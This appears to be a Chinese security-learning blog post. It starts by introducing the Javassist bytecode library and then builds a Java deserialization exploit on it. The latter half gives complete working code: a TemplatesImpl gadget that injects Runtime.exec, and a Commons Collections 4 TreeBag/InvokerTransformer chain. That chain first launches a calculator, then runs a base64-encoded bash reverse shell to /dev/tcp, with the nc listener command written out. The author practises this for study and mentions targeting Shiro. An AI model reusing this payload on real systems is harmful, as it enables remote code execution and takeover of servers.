Javassist是一个开源的分析、编辑和创建Java字节码的类库。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba (千叶 滋)所创建的。它已加入了开放源代码JBoss 应用服务器项目,通过使用Javassist对字节码操作为JBoss实现动态AOP框架。javassist是jboss的一个子项目,其主要的优点,在于简单,而且快速。直接使用java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。
ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。
CtClass:表示一个类,这些CtClass对象可以从ClassPool获得。
CtMethods:表示类中的方法。
CtFields :表示类中的字段。
首先看一下常用的方法
ClassPool pool = ClassPool.getDefault();
Loader loader = new Loader(pool);
CtClass ct = pool.makeClass("JavassistTestResult");//创建类
ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")});//让该类实现Serializable接口
CtField f= new CtField(CtClass.intType,"id",ct);//生成一个字段 类型为int 名字为id
f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
ct.addField(f);//将字段设置到类上
CtConstructor constructor=CtNewConstructor.make("public GeneratedClass(int pId){this.id=pId;}",ct);//添加构造函数
ct.addConstructor(constructor);
CtMethod helloM=CtNewMethod.make("public void hello(String des){ System.out.println(des);}",ct);//添加方法
ct.addMethod(helloM);ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");//将生成的.class文件保存到磁盘
Class c = loader.loadClass("JavassistTestResult");
Constructor constructor1 = c.getDeclaredConstructor(int.class);
Object object = constructor1.newInstance(1);
javassist的学习难度应该不是很大,但主要依赖于反射这一部分,复习一下
- Field:对变量进行操作
- Constructor:对构造方法进行操作
- Method:对普通方法进行操作
随便联系一下使用就可以了,具体利用TemplatesImpl网上有写好的函数,我们直接输入命令就可以直接生成对应的class文件,下面看一下我的练习
import javassist.*;
import javassist.bytecode.AccessFlag;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class Javassist {public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {ClassPool pool = ClassPool.getDefault();Loader loader = new Loader(pool);CtClass ct = pool.makeClass("zyer");CtField field = new CtField(CtClass.intType,"age",ct);field.setModifiers(AccessFlag.PUBLIC);ct.addField(field);CtConstructor constructor = CtNewConstructor.make("public GeneratedClass(int age){this.age=age;}",ct);ct.addConstructor(constructor);CtMethod method = CtNewMethod.make("public void hello(int age){System.out.println(age);}",ct);ct.addMethod(method);String cmd = "public static void main(String[] args) {System.out.println(\"my name is zyer\");}";CtMethod method1 = CtNewMethod.make(cmd,ct);ct.addMethod(method1);ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");Class name = loader.loadClass("zyer");Constructor constructor1 = name.getDeclaredConstructor(int.class);Object obj = constructor1.newInstance(1);Method method2 = name.getDeclaredMethod("hello",int.class);method2.invoke(obj,123);Method method3 = name.getDeclaredMethod("main",String[].class);method3.invoke(null,(Object) new String[]{});}
}
发现会生成对应的class文件
实际利用代码,这里使用函数形式
public static Object createTemplatesImpl(String command) throws Exception{Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();ClassPool pool = ClassPool.getDefault();final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";((CtClass) clazz).makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());final byte[] classBytes = clazz.toBytecode();setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});setFieldValue(templates, "_name", "Pwnr");setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());return templates;}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);
}
下面是对cc4链的利用操作,将我之前使用的远程加载,变成使用javassist在本地新建从而进行命令执行(弹计算器)
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;public class cc4 {public static Object createTemplatesImpl(String command) throws Exception{Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();ClassPool pool = ClassPool.getDefault();final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";((CtClass) clazz).makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());final byte[] classBytes = clazz.toBytecode();setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});setFieldValue(templates, "_name", "Pwnr");setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());return templates;}public static void main(String[] args) throws Exception {Object obj = createTemplatesImpl("open -a Calculator.app");System.out.println(obj);Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});TransformingComparator comparator = new TransformingComparator(transformer);TreeBag treeBag = new TreeBag(comparator);treeBag.add(obj);Field field = InvokerTransformer.class.getDeclaredField("iMethodName");field.setAccessible(true);field.set(transformer,"getOutputProperties");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));objectOutputStream.writeObject(treeBag);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));objectInputStream.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}
反弹shell
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;public class cc4 {public static Object createTemplatesImpl(String command) throws Exception{Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();ClassPool pool = ClassPool.getDefault();final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";((CtClass) clazz).makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());final byte[] classBytes = clazz.toBytecode();setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});setFieldValue(templates, "_name", "Pwnr");setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());return templates;}public static void main(String[] args) throws Exception {Object obj = createTemplatesImpl("bash -c {echo,L2Jpbi9iYXNoIiwiLWMiLCJiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}");System.out.println(obj);Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});TransformingComparator comparator = new TransformingComparator(transformer);TreeBag treeBag = new TreeBag(comparator);treeBag.add(obj);Field field = InvokerTransformer.class.getDeclaredField("iMethodName");field.setAccessible(true);field.set(transformer,"getOutputProperties");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));objectOutputStream.writeObject(treeBag);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));objectInputStream.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}
其中命令是对bash命令进行编码:
bash -i >& /dev/tcp/ip/port 0>&1
使用在线网站(java命令执行payloads - 小草窝博客)
可以看到会反弹shell,证明命令执行了
这里使用nc命令的时候如果不加 参数 n 会报错,应该是域名解析有问题,那么我们使用命令
nc -lnvvp 5555
就可以成功反弹shell了。
cc4可以应用在shiro550上,后续会手动复现一下。